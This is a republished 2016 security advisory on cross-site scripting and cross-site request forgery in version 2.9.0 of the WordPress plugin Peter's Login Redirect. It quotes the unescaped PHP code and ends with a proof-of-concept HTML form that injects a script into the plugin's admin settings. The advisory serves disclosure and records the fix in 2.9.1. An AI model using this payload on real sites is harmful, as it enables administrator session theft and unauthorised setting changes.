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WordPress Peter's Login Redirect 2.9.0 XSS / CSRF

WordPress Peter's Login Redirect 2.9.0 XSS / CSRF
Posted Aug 15, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Peter's Login Redirect plugin version 2.9.0 suffers from cross site scripting and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 164261e2b6677c675ff9d7ad23a326d9

WordPress Peter's Login Redirect 2.9.0 XSS / CSRF

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting/Cross-Site Request Forgery in Peter's Login
Redirect WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Peter's Login
Redirect WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In addition the
Plugin is vulnerable to Cross-Site Request Forgery, which allows an
attacker to change any setting of this plugin. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0028

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Peter's Login Redirect WordPress
Plugin version 2.9.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Peter's Login Redirect version 2.9.1.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html

This issue exists because Peter's Login Redirect lacks protection against Cross-Site Request Forgery attacks. In addition, the plugin lacks proper output encoding, rendering it vulnerable to Cross-Site Scripting. See for example the following code fragment.

elseif( $rul_type == 'role' )
{
$rul_rolevalues .= '<form name="rul_role_edit_form[' . $i_role . ']" action="?page=' . basename(__FILE__) . '" method="post">';
$rul_rolevalues .= '<tr>';
$rul_rolevalues .= '<td><p><input type="hidden" name="rul_role" value="' . $rul_value . '" /> ' . $rul_value . '</p></td>';
$rul_rolevalues .= '<td>';
$rul_rolevalues .= '<p>' . __('Login URL', 'peters-login-redirect' ) . '<br /><input type="text" size="90" maxlength="500" name="rul_role_address" value="' . $rul_url . '" /></p>';
$rul_rolevalues .= '<p>' . __('Logout URL', 'peters-login-redirect' ) . '<br /><input type="text" size="60" maxlength="500" name="rul_role_logout" value="' . $rul_url_logout . '" /></p>';
$rul_rolevalues .= '</td>';
$rul_rolevalues .= '<td><p><input name="rul_role_edit" type="submit" value="' . __( 'Edit', 'peters-login-redirect' ) . '" /> <input type="submit" name="rul_role_delete" value="' . __( 'Delete', 'peters-login-redirect' ) . '" /></p></td>';
$rul_rolevalues .= '</tr>';
$rul_rolevalues .= '</form>';

$rul_roles_existing[$rul_value] = '';

++$i_role;
}

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=wplogin_redirect.php" method="POST">
<input type="hidden" name="rul_role" value="administrator" />
<input type="hidden" name="rul_role_address" value=""><script>alert(1);</script>" />
<input type="hidden" name="rul_role_logout" value="" />
<input type="hidden" name="rul_role_submit" value="Add role rule" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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